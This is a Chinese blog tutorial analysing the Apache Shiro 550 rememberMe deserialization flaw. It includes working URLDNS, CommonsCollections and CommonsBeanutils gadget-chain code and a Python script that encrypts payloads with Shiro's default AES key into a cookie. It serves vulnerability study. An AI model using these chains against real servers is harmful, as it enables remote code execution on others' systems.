LOADING

加载过慢请开启缓存 浏览器默认开启

Shiro框架550反序列化漏洞分析

2024/8/19 Java

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

shiro550环境下载

https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

idea打开后增加

samples\pom.xml

<properties>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
</properties>

image-1709140831354

samples\web\pom.xml

71行版本改为1.2 , 77,93行注释掉

image-1709140841778

image-1709140847835

配置tomcat

image-1709140854441

image-1709140858666

启动

image-1709140864747

加密分析

AbstractRememberMeManager.onSuccessfulLogin下断点开始分析,web页面使用root:secret登录,一定要勾选Remember
Me

这里判断cookie里面是否有RememberMe,存在的话调用rememberIdentity()方法

image-1709140872004

跟进rememberIdentity()方法,发现调用了getIdentityToRemember()和rememberIdentity()方法

image-1709140877815

跟进getIdentityToRemember()方法,发现返回了用户名,赋值给了principals

image-1709140883191

回到rememberIdentity()方法,再跟进rememberIdentity()方法,调用了convertPrincipalsToBytes()方法和rememberSerializedIdentity()方法

image-1709140889082

跟进convertPrincipalsToBytes(),他对用户名进行了序列化,然后调用了getCipherService()和encrypt()

image-1709140895311

跟进getCipherService()看看,返回了加密方式

image-1709140902985

回到convertPrincipalsToBytes(),进入encrypt()看看

image-1709140910395

这里跟上面一样,使用getCipherService()获取了加密方式,然后使用cipherService.encrypt()进行加密

image-1709140919456

跟一下密钥getEncryptionCipherKey()

image-1709140926224

继续跟

image-1709140935976

继续

image-1709140940945

跟进

image-1709140946095

跟一下DEFAULT_CIPHER_KEY_BYTES,发现了密钥

image-1709140951887

回到rememberIdentity()方法,bytes现在存储的是经过aes加密的序列化字节

image-1709140957608

跟进rememberSerializedIdentity(),对加密后的值进行了编码并写入到cookie的rememberme字段

image-1709140963834

序列化--->AES加密--->base64编码--->设置到 cookie 中的
rememberme 字段

解密分析

从org/apache/shiro/mgt/DefaultSecurityManager.java#getRememberedIdentity()开始分析

跟进getRememberedPrincipals()方法

image-1709140972257

分别调用了getRememberedSerializedIdentity()和convertBytesToPrincipals()方法

image-1709140977320

先去getRememberedSerializedIdentity()方法看看,从cookie获取了rememberme值进行了base64解密

image-1709140983647

convertBytesToPrincipals()方法,调用了getCipherService()和()方法

image-1709140988936

decrypt()方法进行了解密

image-1709140994475

回到convertBytesToPrincipals()方法,跟进deserialize()方法

image-1709141000077

继续跟进到getSerializer().deserialize方法,反序列化了字节数组

image-1709141004388

读取 cookie 中的 rememberMe--->base64 解码--->AES
解密--->反序列化

URLDNS链分析

URLDNS是ysoserial里面的一条链,一般用于检测是否存在java反序列化漏洞

漏洞原理:

HashMap实现了Serializable接口,重写了readObject,
在反序列化时会调用hash函数计算key的hashCode,而URL的hashCode在计算时会调用getHostAddress来解析域名,
从而触发DNS查询。

ysoserial的利用链

  • Gadget Chain:

    • HashMap.readObject()

      • HashMap.putVal()

        • HashMap.hash()

          • URL.hashCode()

从上往下跟,先进入HashMap.readObject(),它重写了readObject方法。

image-1709141015566

最终它使用了putVal()方法,并且会调用hash()方法

image-1709141022669

跟进hash方法(),如果key不等于null,就会调用key.hashCode方法

image-1709141027905

跟进hashCode()方法,由于在ysoserial中的URLDNS是利用URL对象,那么就要跟进URL类中的hashCode()方法

进入到URL类,发现URL类实现了serlazerb,可以被序列化

image-1709141033805

跟进到URL#hashCode,在hashCode等于-1的时候会调用handler.hashCode,

image-1709141041878

跟进hashCode发现默认值为-1

image-1709141046927

回到hashCode方法,看看handler.hashCode()是什么,发现它调用了getHostAddress方法

image-1709141053786

跟进getHostAddress方法,里面调用了InetAddress.getByName(host),会进行解析主机名,进而产生DNS记录。

image-1709141059880

发现HashMap的put方法同样使用了hash方法

image-1709141065388

跟进去发现是跟上面一样的hash,也就是说只要给HashMap的put方法的第一个参数传递一个URL,就能调用到URL类的hashCode方法进行发起一次DNS查询

image-1709141070687

构造代码测试

import java.io.IOException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException {
        HashMap<URL,Integer> hashMap =  new HashMap<URL,Integer>();
        URL url = new URL("http://dnslog.cn");
        hashMap.put(url,2);
    }
}

DNSLOG收到请求

image-1709141077913

我们把HashMap序列化,再次反序列化看看会不会触发DNS查询

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj =  ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HashMap<URL,Integer> hashMap =  new HashMap<URL,Integer>();
        URL url = new URL("http://dnslog.cn");
        hashMap.put(url,2);
        serialize(hashMap);
        unserialize("ser.bin");
    }

}

由于hashCode默认为-1,在序列化时候会进行一次dns查询,现在要让它仅在反序列化时候再进行DNS查询

image-1709141085964

使用java反射修改hashCode默认值,在序列化时候赋值非-1的int类型,这样在序列化时候就不会触发DNS查询

image-1709141092508

在反序列化时候,hashCode还是-1,最终触发DNS查询

image-1709141097891

最终代码

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj =  ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashMap =  new HashMap<URL,Integer>();
        URL url = new URL("http://y8wpv0.dnslog.cn");
        Class c = url.getClass();
        Field field = c.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,1);
        hashMap.put(url,2);
        field.set(url,-1);
        serialize(hashMap);
//        unserialize("ser.bin");
    }


}

使用python脚本将序列化的数据进行加密并编码带入到cookie

import uuid
import base64
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,'rb') as f:
        return f.read()

def encode_rememberme():
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(get_file_data("ser.bin"))
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme()
    print("rememberMe={0}".format(payload.decode()))

image-1709141150355

生成后带入cookie发过去就可以看到DNS请求

image-1709141160512

URLDNS调用链

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash()  -> URL.hashCode().handler.hashCode() -> URLStreamHandler.hashCode().getHostAddress() -> URLStreamHandler.getHostAddress().InetAddress.getByName()

CC链分析

URLDNS链多用于探测漏洞是否存在,最终我们还需要执行代码

pom添加上CC依赖

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

image-1709141168839

使用CC链打一下发现报错了,尝试加载CC的Transformer类,但是没有找到

image-1709141174520

想办法构造一条不使用Transformer的利用链

定位到java.util.HashMap#readObject

image-1709141180188

调用了hash方法

image-1709141188244

hash调用了hashcode,由于key可控,传递为TiedMapEntry可调用到TiedMapEntry.hashCode

image-1709141223850

发现调用了getValue方法

image-1709141230196

又调用了get方法

image-1709141237105

并且map参数可控

image-1709141242324

如果map为LazyMap,会调用到LazyMap#get,并且发现get调用了transform

image-1709141247845

并且factory值可控

image-1709141254226

如果赋值为InvokerTransfomer,则会调用InvokerTransfomer.transform(key)

image-1709141259354

使用InvokerTransformer.transform调用newTransformer()方法,input要在最前面(TiedMapEntry)要传递TemplatesImpl类

image-1709141263880

后面就是CC3的代码了,利用了类的动态加载机制,一共用到了CC6和CC2以及CC3,直接复制过来代码拼接起来

完整代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_CC6 {
    public static void main(String[] args) throws Exception {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates, bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        //CC6
        Map<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry, "b");
        //反射调用&删除 factory.transform的key值
        Class lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap, invokerTransformer);
        lazyMap.remove(templates);
        serialize(map1);
    }


    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

}

加密编码后放到cookie传输

image-1709141272939

利用链

HashMap.readObject-->TiedMapEntry.hashCode-->LazyMap#get-->InvokerTransformer#transform-->TemplatesImpl.newTransformer()-->defineClass->newInstance

CB链分析

在shiro中大多数情况下并没有引用CC依赖,从而无法使用CC链去进行利用。但是默认使用了Commons
Beanutils,可以使用CB链进行利用。

org.apache.commons.beanutils.PropertyUtils#getProperty方法可以调用任意
JavaBean 的 getter 方法。

示例:

package org.example;



import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;



public class Bean {

    private String name = "Test";

    public String getName(){

        return name;

 }

    public void setName (String name) {

        this.name = name;

 }



    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {

        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));

    }

}

image-1709141284225

getOutputProperties方法调用了newTransformer(),它可以动态加载类进行代码执行,并且getOutputProperties方法符合JavaBean
的命名格式。

代码调试:

package org.example;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.PropertyUtils;



import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;



public class CB1 {

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();

        Field nameField = c.getDeclaredField("_name");

        nameField.setAccessible(true);

        nameField.set(templates,"a");



        Field bytecodesField = c.getDeclaredField("_bytecodes");

        bytecodesField.setAccessible(true);

        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));

        byte[][] bytecodes = {bytecode};

        bytecodesField.set(templates,bytecodes);



        Field tfactoryField = c.getDeclaredField("_tfactory");

        tfactoryField.setAccessible(true);

        tfactoryField.set(templates,new TransformerFactoryImpl());





        PropertyUtils.getProperty(templates,"outputProperties");





    }

}

成功执行了命令,下一步看哪里调用了getProperty,构造一条利用链出来

image-1709141291695

跟进到org.apache.commons.beanutils.PropertyUtils#getProperty看哪里调用了它,发现BeanComparator#compare调用了getter

image-1709141296938

并且getProperty的参数可控

image-1709141302146

compare方法在CC2和CC4都进行调用了,之前用的是TransformingComparator.compare,如果把TransformingComparator替换为BeanComparator,这条链就连起来了。

完整代码:

package org.example;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;

import org.apache.commons.beanutils.BeanComparator;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ConstantTransformer;



import java.io.*;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.PriorityQueue;



public class CB1 {

    public static void main(String[] args) throws Exception {

        //CC3

        TemplatesImpl templates = new TemplatesImpl();

        Class c = templates.getClass();

        Field nameField = c.getDeclaredField("_name");

        nameField.setAccessible(true);

        nameField.set(templates,"a");



        Field bytecodesField = c.getDeclaredField("_bytecodes");

        bytecodesField.setAccessible(true);

        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));

        byte[][] bytecodes = {bytecode};

        bytecodesField.set(templates,bytecodes);



        //CB

        BeanComparator comparator = new BeanComparator("outputProperties", new AttrCompare());



        //CC2

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);

        priorityQueue.add(2);



        Field comparator1 = PriorityQueue.class.getDeclaredField("comparator");

        comparator1.setAccessible(true);

        comparator1.set(priorityQueue,comparator);



        serialize(priorityQueue);

        unserialize("ser.bin");



    }



    public static void serialize(Object obj) throws Exception{

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        objectOutputStream.writeObject(obj);

        System.out.println("serialize");

    }



    public static Object unserialize(String str) throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));

        Object obj = objectInputStream.readObject();

        System.out.println("unserialize");

        return obj;

    }

}

编码后通过cookie发送

image-1709141315070

利用链

PriorityQueue#readObject-->BeanComparator#compare-->PropertyUtils.getProperty-->TemplatesImpl#getOutputProperties-->TemplatesImpl.newTransformer()-->defineClass->newInstance